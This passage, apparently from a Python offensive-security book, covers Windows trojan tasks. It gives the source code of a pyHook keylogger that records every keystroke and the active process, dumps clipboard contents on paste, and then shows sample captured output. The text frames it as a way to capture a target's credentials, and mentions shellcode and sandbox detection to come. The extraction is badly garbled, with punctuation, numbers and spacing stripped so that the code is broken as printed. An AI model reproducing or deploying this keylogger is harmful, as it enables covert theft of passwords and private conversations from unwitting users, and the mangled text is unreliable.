trojan tasksand 'll leave it to you to integrate them into your new github trojan [ the repo where this library is hosted is here[ you can check out py exe here[ an awesome explanation of this process written by karol kuczmarski can be found here
7,196
windows when you deploy trojanyou want to perform few common tasksgrab keystrokestake screenshotsand execute shellcode to provide an interactive session to tools like canvas or metasploit this focuses on these tasks we'll wrap things up with some sandbox detection techniques to determine if we are running within an antivirus or forensics sandbox these modules will be easy to modify and will work within our trojan framework in later we'll explore man-in-the-browser-style attacks and privilege escalation techniques that you can deploy with your trojan each technique comes with its own challenges and probability of being caught by the end user or an antivirus solution recommend that you carefully model your target after you've implanted your trojan so that you can test the modules in your lab before trying them on live target let' get started by creating simple keylogger
7,197
keylogging is one of the oldest tricks in the book and is still employed with various levels of stealth today attackers still use it because it' extremely effective at capturing sensitive information such as credentials or conversations an excellent python library named pyhook[ enables us to easily trap all keyboard events it takes advantage of the native windows function setwindowshookexwhich allows you to install userdefined function to be called for certain windows events by registering hook for keyboard eventswe are able to trap all of the keypresses that target issues on top of thiswe want to know exactly what process they are executing these keystrokes againstso that we can determine when usernamespasswordsor other tidbits of useful information are entered pyhook takes care of all of the lowlevel programming for uswhich leaves the core logic of the keystroke logger up to us let' crack open keylogger py and drop in some of the plumbingfrom ctypes import import pythoncom import pyhook import win clipboard user windll user kernel windll kernel psapi windll psapi current_window none def get_current_process()get handle to the foreground window hwnd user getforegroundwindow(find the process id pid c_ulong( user getwindowthreadprocessid(hwndbyref(pid)store the current process id process_id "%dpid value grab the executable executable create_string_buffer("\ h_process kernel openprocess( falsepidpsapi getmodulebasenamea(h_process,none,byref(executable), now read its title window_title create_string_buffer("\ length user getwindowtexta(hwndbyref(window_title), print out the header if we're in the right process print print "pid% % % ](process_idexecutable valuewindow_ title valueprint close handles kernel closehandle(hwndkernel closehandle(h_processall rightso we just put in some helper variables and function that will capture the active window and its associated process id we first call getforegroundwindow which returns handle to the active window on the target' desktop next we pass that handle to the getwindowthreadprocessid
7,198
process handlewe find the actual executable name of the process the final step is to grab the full text of the window' title bar using the getwindowtexta function at the end of our helper function we output all of the information in nice header so that you can clearly see which keystrokes went with which process and window now let' put the meat of our keystroke logger in place to finish it off def keystroke(event)global current_window check to see if target changed windows if event windowname !current_windowcurrent_window event windowname get_current_process(if they pressed standard key if event ascii and event ascii print chr(event ascii)elseif [ctrl- ]get the value on the clipboard if event key =" "win clipboard openclipboard(pasted_value win clipboard getclipboarddata(win clipboard closeclipboard(print "[paste% (pasted_value)elseprint "[% ]event keypass execution to next hook registered return true create and register hook manager kl pyhook hookmanager(kl keydown keystroke register the hook and execute forever kl hookkeyboard(pythoncom pumpmessages(that' all you needwe define our pyhook hookmanager and then bind the keydown event to our user-defined callback function keystroke we then instruct pyhook to hook all keypresses and continue execution whenever the target presses key on the keyboardour keystroke function is called with an event object as its only parameter the first thing we do is check if the user has changed windows and if sowe acquire the new window' name and process information we then look at the keystroke that was issued and if it falls within the ascii-printable rangewe simply print it out if it' modifier (such as the shiftctrlor alt keysor any other nonstandard keywe grab the key name from the event object we also check if the user is performing paste operation and if so we dump the contents of the clipboard the callback function wraps up by returning true to allow the next hook in the chain -if there is one -to process the event let' take it for spin
7,199
it' easy to test our keylogger simply run itand then start using windows normally try using your web browsercalculatoror any other applicationand view the results in your terminal the output below is going to look little offwhich is only due to the formatting in the book :\>python keylogger-hook py pid cmd exe :\windows\system \cmd exe :\python \python exe key logger-hook py pid iexplore exe bing microsoft internet explorer [returnpid cmd exe :\windows\system \cmd exe :\python \python exe keylogger-hook py [lwinr pid explorer exe run [returnpid calc exe calculator [lshift you can see that typed the word test into the main window where the keylogger script ran then fired up internet explorerbrowsed to www nostarch comand ran some other applications we can now safely say that our keylogger can be added to our bag of trojaning trickslet' move on to taking screenshots